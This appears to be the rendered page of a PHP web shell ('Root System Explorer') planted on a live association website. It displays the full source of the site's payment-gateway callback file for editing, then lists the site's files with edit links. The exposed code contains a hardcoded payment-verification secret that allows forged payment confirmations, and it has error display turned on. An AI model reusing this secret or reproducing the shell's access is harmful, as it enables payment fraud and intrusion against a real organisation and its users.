Root Explorer PHP

[ Root System Explorer ]

Editing: eazypay-callback.php

<?php

include('ccform/Crypto.php');
include( __DIR__."/config.php" );
use Cocur\Slugify\Slugify;
use Illuminate\Filesystem\Filesystem;
use App\Models\OnlinePaymentTable;
global $antiXss;
$_GET = $antiXss->xss_clean($_GET);
$_POST = $antiXss->xss_clean($_POST);

ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

if(isset($_POST)){
    // Get POST data
    $request = $_POST;

$ref_no = $request['ReferenceNo'] ?? '';

if(isset($request['Total_Amount']) && $request['Response_Code'] == 'E000') {
        if(!verifyPayload($request)){
            header("location:https://www.acma.in/payment-failed.php?Response_Code=" . $request['Response_Code']. "&ReferenceNo=" . $ref_no);
        } else {

$payment = OnlinePaymentTable::where('order_id', $request['ReferenceNo'])->first();
            if($payment) {

$response_gateway = "Tracking Id : ".$request['Unique_Ref_Number']. " <br>Transaction Date: ".$request['Transaction_Date']."<br>Order Status : Success";

$payment->status = 'success';
                $payment->tid = $request['Unique_Ref_Number'];
                $payment->responce_gateway = $response_gateway;
                $payment->billing_date = date('Y-m-d H:i:s');
                $payment->transaction_date = $request['Transaction_Date'];
                $payment->payment_type = $request['Payment_Mode'];
                $payment->status = '1';
                $payment->save();

$_SESSION['payment_details'] = $payment->toArray();

// send email to user
                $to = $payment->billing_email;
                $subject = "Payment Successful - ACMA India";
                require 'acma-ec-election-2025-26-bpk/vendor/autoload.php';
                require('acma-ec-election-2025-26-bpk/php/constant/constant.php');
                $email = new \SendGrid\Mail\Mail();
                $email->setFrom("acma@acma.in", "ACMA");
                $email->setSubject($subject);
                // $email->isHTML(true);
                $email->addTo($to, $payment->billing_name);
                ob_start();
                include( __DIR__."/payment-success-email-template.php" );
                $email->addContent("text/html", ob_get_contents());
                $sendgrid = new \SendGrid(constant('MAIL_PASSWORD'));
                $response = $sendgrid->send($email);
                print_r($response);

ob_end_clean();

header("location:https://www.acma.in/thankyou-annual_session.php?tid=".$request['Unique_Ref_Number']);

// Log success
                error_log("Payment successful for ReferenceNo: " . $request['ReferenceNo']);
                echo json_encode(['message' => 'Payment successful']);
            } else {
                header("location:https://www.acma.in/payment-failed.php?Response_Code=" . $request['Response_Code']. "&ReferenceNo=" . $ref_no);

}
        }
    }else{
        header("location:https://www.acma.in/payment-failed.php?Response_Code=0000". "&ReferenceNo=" . $ref_no);
    }
}

function verifyPayload($res){
            
            // Same encryption key that we gave for generating the URL
            $aes_key_for_payment_success = '3818241858805500';
    
            $data = array(
                'Response_Code'=> $res['Response_Code'],
                'Unique_Ref_Number'=> $res['Unique_Ref_Number'],
                'Service_Tax_Amount'=> $res['Service_Tax_Amount'],
                'Processing_Fee_Amount'=> $res['Processing_Fee_Amount'],
                'Total_Amount'=> $res['Total_Amount'],
                'Transaction_Amount'=> $res['Transaction_Amount'],
                'Transaction_Date'=> $res['Transaction_Date'],
                'Interchange_Value'=> $res['Interchange_Value'],
                'TDR'=> $res['TDR'],
                'Payment_Mode'=> $res['Payment_Mode'],
                'SubMerchantId'=> $res['SubMerchantId'],
                'ReferenceNo'=> $res['ReferenceNo'],
                'ID'=> $res['ID'],
                'RS'=> $res['RS'],
                'TPS'=> $res['TPS'],
            );
    
            $verification_key = $data['ID'].'|'.$data['Response_Code'].'|'.$data['Unique_Ref_Number'].'|'.
                    $data['Service_Tax_Amount'].'|'.$data['Processing_Fee_Amount'].'|'.$data['Total_Amount'].'|'.
                    $data['Transaction_Amount'].'|'.$data['Transaction_Date'].'|'.$data['Interchange_Value'].'|'.
                    $data['TDR'].'|'.$data['Payment_Mode'].'|'.$data['SubMerchantId'].'|'.$data['ReferenceNo'].'|'.
                    $data['TPS'].'|'.$aes_key_for_payment_success;
    
            $encrypted_message = hash('sha512', $verification_key);

if($encrypted_message == $data['RS']) {
                return true;
            } else {
                return false;
            }
        
    }
?>

[ CANCEL ]

Name	Type	Actions
.. (Parent Directory)
📄 .ftpquota	FILE	[EDIT]
📁 .git/	DIR
📄 .gitignore	FILE	[EDIT]
📄 .htaccess	FILE	[EDIT]
📄 .htaccesslocal	FILE	[EDIT]
📄 .user.ini	FILE	[EDIT]
📄 404.php	FILE	[EDIT]
📄 about-us.php	FILE	[EDIT]
📁 acma-ec-election-2025-26-bpk/	DIR
📁 acma-ec-election-23-24-backup/	DIR
📁 acma-old/	DIR
📄 acma-webinar.php	FILE	[EDIT]
📄 affilate-member.php	FILE	[EDIT]
📁 aftermarket-channel/	DIR
📄 all-banner.php	FILE	[EDIT]
📄 annual-report.php	FILE	[EDIT]
📄 annual-session-ep.php	FILE	[EDIT]
📄 annual-session-old.php	FILE	[EDIT]
📄 annual-session.php	FILE	[EDIT]
📄 annual_65th_live_video.php	FILE	[EDIT]
📁 app/	DIR
📁 assets/	DIR
📄 associate-member.php	FILE	[EDIT]
📄 auto-component-app.php	FILE	[EDIT]
📄 auto-component.php	FILE	[EDIT]
📄 auto-news.php	FILE	[EDIT]
📁 backups/	DIR
📁 become-member-form/	DIR
📄 become-member.php	FILE	[EDIT]
📄 benefits-of-joining.php	FILE	[EDIT]
📄 bootstrap.php	FILE	[EDIT]
📄 bpk_06_june_25_index.php	FILE	[EDIT]
📄 bpk_1_index.php	FILE	[EDIT]
📄 bpk_2_index.php	FILE	[EDIT]
📄 bpk_west-events.php	FILE	[EDIT]
📁 ccform/	DIR
📄 center-government-policy.php	FILE	[EDIT]
📁 cgi-bin/	DIR
📄 circular.php	FILE	[EDIT]
📄 cluster&projects.php	FILE	[EDIT]
📄 coming-soon.php	FILE	[EDIT]
📄 config.php	FILE	[EDIT]
📄 contact-app.php	FILE	[EDIT]
📄 contact.php	FILE	[EDIT]
📁 cp-admin/	DIR
📁 css/	DIR
📄 delegates-form-ep.php	FILE	[EDIT]
📄 delegates-form-payment.php	FILE	[EDIT]
📄 delegates-form.php	FILE	[EDIT]
📁 delegates-members/	DIR
📄 deligates-form-register.php	FILE	[EDIT]
📁 developer/	DIR
📄 disclaimer.php	FILE	[EDIT]
📄 domestic-gallary.php	FILE	[EDIT]
📄 east-events.php	FILE	[EDIT]
📁 eazypay/	DIR
📄 eazypay-callback.php	FILE	[EDIT]
📄 ec-minutes.php	FILE	[EDIT]
📄 edit-profile.php	FILE	[EDIT]
📄 elearning-industry.php	FILE	[EDIT]
📄 elearning-mfca.php	FILE	[EDIT]
📄 elearning-recp.php	FILE	[EDIT]
📄 election-result.php	FILE	[EDIT]
📄 elections.php	FILE	[EDIT]
📄 electronic-coverage.php	FILE	[EDIT]
📄 error_log.php	FILE	[EDIT]
📁 filemanager/	DIR
📁 fonts/	DIR
📄 googled629272a913087af.html	FILE	[EDIT]
📄 helpdesk.php	FILE	[EDIT]
📁 images/	DIR
📁 img/	DIR
📄 impact.php	FILE	[EDIT]
📁 includes/	DIR
📁 includes-old-acma/	DIR
📄 index-backup-30-07-25.php	FILE	[EDIT]
📄 index-backup.php	FILE	[EDIT]
📄 index-banner-test.php	FILE	[EDIT]
📄 index-bpk-12-dec-25.php	FILE	[EDIT]
📄 index-old-13-Nov-25.php	FILE	[EDIT]
📄 index-old-22-Oct-2025.php	FILE	[EDIT]
📄 index-old-28-Oct-single-banner.php	FILE	[EDIT]
📄 index-test.php	FILE	[EDIT]
📄 index.php	FILE	[EDIT]
📄 index_bpk_19_feb_26.php	FILE	[EDIT]
📄 index_slider_check.php	FILE	[EDIT]
📄 india-tech-day.php	FILE	[EDIT]
📄 international-events.php	FILE	[EDIT]
📄 international-gallary.php	FILE	[EDIT]
📁 js/	DIR
📄 khocing.jpg	FILE	[EDIT]
📁 lib/	DIR
📄 logout.php	FILE	[EDIT]
📄 member-search.php	FILE	[EDIT]
📄 monthly-vehicle-report.php	FILE	[EDIT]
📄 my-account-status.php	FILE	[EDIT]
📄 my-account.php	FILE	[EDIT]
📄 my-account_1.php	FILE	[EDIT]
📁 new-acma/	DIR
📁 new-cp-admin/	DIR
📄 north-events.php	FILE	[EDIT]
📄 notifications-docs.php	FILE	[EDIT]
📄 office-bearers-OLD-22-Oct-25.php	FILE	[EDIT]
📄 office-bearers.php	FILE	[EDIT]
📄 ordinary-members.php	FILE	[EDIT]
📄 password-create.php	FILE	[EDIT]
📄 password-reset.php	FILE	[EDIT]
📄 password_reset_email_template.php	FILE	[EDIT]
📄 past-presidents.php	FILE	[EDIT]
📄 payment-failed.php	FILE	[EDIT]
📁 payment-gateway/	DIR
📄 payment-online-app.php	FILE	[EDIT]
📄 payment-online.php	FILE	[EDIT]
📄 payment-success-email-template.php	FILE	[EDIT]
📁 pdf/	DIR
📄 pillars-app.php	FILE	[EDIT]
📄 pillars-old-30-sept-25.php	FILE	[EDIT]
📄 pillars.php	FILE	[EDIT]
📁 poll/	DIR
📄 press-coverage-app.php	FILE	[EDIT]
📄 press-coverage-without-load-more.php	FILE	[EDIT]
📄 press-coverage.php	FILE	[EDIT]
📄 press-release.php	FILE	[EDIT]
📄 privacy-policy.php	FILE	[EDIT]
📄 register.php	FILE	[EDIT]
📄 research-studies.php	FILE	[EDIT]
📄 resource-center-docs.php	FILE	[EDIT]
📄 robots.txt	FILE	[EDIT]
📁 silk/	DIR
📄 sitemap.xml	FILE	[EDIT]
📄 south-events.php	FILE	[EDIT]
📄 sponsors-form.php	FILE	[EDIT]
📄 state-govt-policy.php	FILE	[EDIT]
📄 terms-and-conditions.php	FILE	[EDIT]
📁 test/	DIR
📁 test-assets/	DIR
📄 test-email.php	FILE	[EDIT]
📄 test.php	FILE	[EDIT]
📄 thank-you-test-page.php	FILE	[EDIT]
📄 thankyou-annual_session.php	FILE	[EDIT]
📁 tinyfck/	DIR
📄 twitter-test.php	FILE	[EDIT]
📁 uploads/	DIR
📄 validate_login.php	FILE	[EDIT]
📁 vendor/	DIR
📁 video/	DIR
📁 websitebackup/	DIR
📄 west-events.php	FILE	[EDIT]
📄 yblf.php	FILE	[EDIT]